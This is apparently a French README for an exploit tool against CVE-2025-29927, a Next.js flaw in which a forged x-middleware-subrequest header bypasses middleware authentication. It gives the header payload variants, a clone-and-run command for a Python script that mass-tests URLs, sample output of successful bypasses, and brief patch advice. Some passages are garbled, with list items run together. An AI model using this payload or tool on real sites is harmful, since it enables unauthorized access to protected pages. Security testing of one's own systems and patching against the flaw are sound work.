
CVE-2025-29927: Next.js Middleware Exploit
Cet outil démontre et automatise l'exploitation de CVE-2025-29927, une vulnérabilité dans Next.js qui permet à un attaquant de contourner les vérifications du middleware (comme l'authentification) en abusant de l'en-tête interne x-middleware-subrequest.
Next.js utilise en interne l'en-tête x-middleware-subrequest pour empêcher les boucles infinies dans les requêtes récursives. Cependant, cet en-tête n'est pas protégé contre la manipulation externe dans certaines versions, ce qui permet à un acteur malveillant de le falsifier.
En définissant manuellement cet en-tête, la logique du middleware chargée d'appliquer l'authentification, les redirections, la journalisation ou le filtrage est complètement ignorée.
x-middleware-subrequest403 devient 20015.2.314.2.2513.5.9next start avec sortie : standalone)next export)Requête normale :
GET /admin --> 403 Forbidden
Requête avec en-tête :
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Même si la cible vérifie l'authentification via le middleware, ceci le contourne complètement.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Créez un fichier nommé urls.txt avec une URL par ligne :
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Envoie des requêtes à chaque URL avec et sans l'en-tête d'exploitation
Utilise plusieurs variations de charges utiles :
middlewarepages/_middlewaresrc/middlewareJournalise :
middleware_exploited.txt : pour les vrais bypass (403 → 200)middleware_response_diff.txt : lorsque le contenu de la réponse diffèreMettez à jour Next.js immédiatement vers une version sécurisée :
15.2.3+14.2.25+13.5.9+Également :
getServerSideProps, JWT, sessions)[✔] Bypass réussi : https://target.com/admin (charge utile : middleware)
[•] Différence de réponse détectée : https://target.com/login (charge utile : src/middleware)
[✔] 3 bypass trouvés > middleware_exploited.txt
[•] 5 différences de réponse trouvées > middleware_response_diff.txt